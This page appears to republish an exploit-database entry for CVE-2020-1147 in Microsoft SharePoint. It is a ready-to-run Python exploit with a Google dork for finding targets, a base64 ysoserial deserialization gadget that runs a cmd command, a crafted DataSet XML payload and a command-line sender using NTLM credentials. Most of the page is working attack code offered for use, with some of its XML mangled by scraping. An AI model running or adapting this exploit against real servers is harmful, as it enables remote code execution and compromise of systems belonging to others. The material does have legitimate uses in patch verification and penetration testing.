Microsoft SharePoint Server 2019 Remote Code Execution ≈ Packet Storm – Digitalmunition




Exploit/Advisories no image

Published on August 18th, 2020 📆 | 3113 Views ⚑

0

Microsoft SharePoint Server 2019 Remote Code Execution ≈ Packet Storm

# Exploit Title: Microsoft SharePoint Server 2019 – Remote Code Execution
# Google Dork: inurl:quicklinks.aspx
# Date: 2020-08-14
# Exploit Author: West Shepherd
# Vendor Homepage: https://www.microsoft.com
# Version: SharePoint Enterprise Server 2013 Service Pack 1, SharePoint Enterprise Server 2016 , SharePoint Server 2010 Service
# Pack 2, SharePoint Server 2019
# Tested on: Windows 2016
# CVE : CVE-2020-1147
# Credit goes to Steven Seele and Soroush Dalili
# Source: https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html

#!/usr/bin/python
from sys import argv, exit, stdout, stderr
import argparse
import requests
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests_ntlm import HttpNtlmAuth
from urllib import quote, unquote
import logging

class Exploit:
# To generate the gadget use:
# ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c “command”
# ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c “command”
gadget = ‘/wEypAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADGBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwaW5nIC9uIDEwIDEwLjQ5LjExNy4yNTMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==’
control_path_quicklinks = ‘/_layouts/15/quicklinks.aspx’
control_path_quicklinksdialogform = ‘/_layouts/15/quicklinksdialogform.aspx’
control_path = control_path_quicklinks

def __init__(
self,
redirect=False,
proxy_address=”,
username=”,
domain=”,
password=”,
target=”
):
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
self.username = ‘%s\%s’ % (domain, username)
self.target = target
self.password = password
self.session = requests.session()
self.redirect = redirect
self.timeout = 0.5
self.proxies = {
‘http’: ‘http://%s’ % proxy_address,
‘https’: ‘http://%s’ % proxy_address
}
if proxy_address is not None
and proxy_address != ” else {}
self.headers = {}
self.query_params = {
‘Mode’: “Suggestion”
}
self.form_values = {
‘__viewstate’: ”,
‘__SUGGESTIONSCACHE__’: ”
}
self.cookies = {}
self.payload = “””

xmlns:msdata=”urn:schemas-microsoft-com:xml-msdata” id=”somedataset”>
msdata:UseCurrentLocale=”true”>





msdata:DataType=”System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter,
System.Web, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089″
type=”xs:anyType” minOccurs=”0″/>




xmlns:diffgr=”urn:schemas-microsoft-com:xml-diffgram-v1″>

diffgr:hasChanges=”inserted”>xmlns:xsd=”http://www.w3.org/2001/XMLSchema”>
Deserialize

xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xsi:type=”xsd:string”>{GADGET}

“””.replace(‘{GADGET}’, self.gadget)

def do_get(self, url, params=None, data=None):
return self.session.get(
url=url,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
data=data,
params=params,
auth=HttpNtlmAuth(self.username, self.password)
)

def do_post(self, url, data=None, params=None):
return self.session.post(
url=url,
data=data,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
params=params,
auth=HttpNtlmAuth(self.username, self.password)
)

def parse_page(self, content):
soup = BeautifulSoup(content, ‘lxml’)
for key, val in self.form_values.iteritems():
try:
for tag in soup.select(‘input[name=%s]’ % key):
try:
self.form_values[key] = tag[‘value’]
except Exception as error:
stderr.write(‘error for key %s error %sn’ %
(key, str(error)))
except Exception as error:
stderr.write(‘error for selector %s error %sn’ %
(key, str(error)))
return self

def debug(self):
try:
import http.client as http_client
except ImportError:
import httplib as http_client
http_client.HTTPConnection.debuglevel = 1
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger(“requests.packages.urllib3”)
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True
return self

def clean(self, payload):
payload = payload
.replace(‘n’, ”)
.replace(‘r’, ”)
while ‘ ‘ in payload:
payload = payload
.replace(‘ ‘, ‘ ‘)
return payload

def get_form(self):
url = ‘%s%s’ % (self.target, self.control_path)
resp = self.do_get(url=url, params=self.query_params)
self.parse_page(content=resp.content)
return resp

def send_payload(self):
url = ‘%s%s’ % (self.target, self.control_path)
# self.get_form()
self.headers[‘Content-Type’] = ‘application/x-www-form-urlencoded’
self.form_values[‘__SUGGESTIONSCACHE__’] = self.clean(self.payload)
self.form_values[‘__viewstate’] = ”
resp = self.do_post(url=url, params=self.query_params,
data=self.form_values)
return resp

if __name__ == ‘__main__’:
parser = argparse.ArgumentParser(add_help=True,
description=’CVE-2020-1147 SharePoint exploit’)
try:
parser.add_argument(‘-target’, action=’store’, help=’Target
address: http(s)://target.com ‘)
parser.add_argument(‘-username’, action=’store’, default=”,
help=’Username to use: first.last’)
parser.add_argument(‘-domain’, action=’store’, default=”,
help=’User domain to use: domain.local’)
parser.add_argument(‘-password’, action=’store’, default=”,
help=’Password to use: Summer2020′)
parser.add_argument(‘-both’, action=’store’, default=False,
help=’Try both pages (quicklinks.aspx and quicklinksdialogform.aspx):
False’)
parser.add_argument(‘-debug’, action=’store’, default=False,
help=’Enable debugging: False’)
parser.add_argument(‘-proxy’, action=’store’, default=”,
help=’Enable proxy: 10.10.10.10:8080′)

if len(argv) == 1:
parser.print_help()
exit(1)
options = parser.parse_args()

exp = Exploit(
proxy_address=options.proxy,
username=options.username,
domain=options.domain,
password=options.password,
target=options.target
)

if options.debug:
exp.debug()
stdout.write(‘target %s username %s domain %s password %s
debug %s proxy %sn’ % (
options.target, options.username, options.domain,
options.password, options.debug, options.proxy
))

result = exp.send_payload()
stdout.write(‘Response: %dn’ % result.status_code)
if ‘MicrosoftSharePointTeamServices’ in result.headers:
stdout.write(‘Version: %sn’ %
result.headers[‘MicrosoftSharePointTeamServices’])
if options.both and result.status_code != 200:
exp.control_path = exp.control_path_quicklinksdialogform
stdout.write(‘Trying alternate pagen’)
result = exp.send_payload()
stdout.write(‘Response: %dn’ % result.status_code)

except Exception as error:
stderr.write(‘error in main %s’ % str(error))

Regards,

West Shepherd
OSWE | OSCE | OSCP | OSWP | CEH | Security+
West Lee Shepherd, LLC

Source link

Tagged with:



Leave a Reply

Your email address will not be published. Required fields are marked *


loading...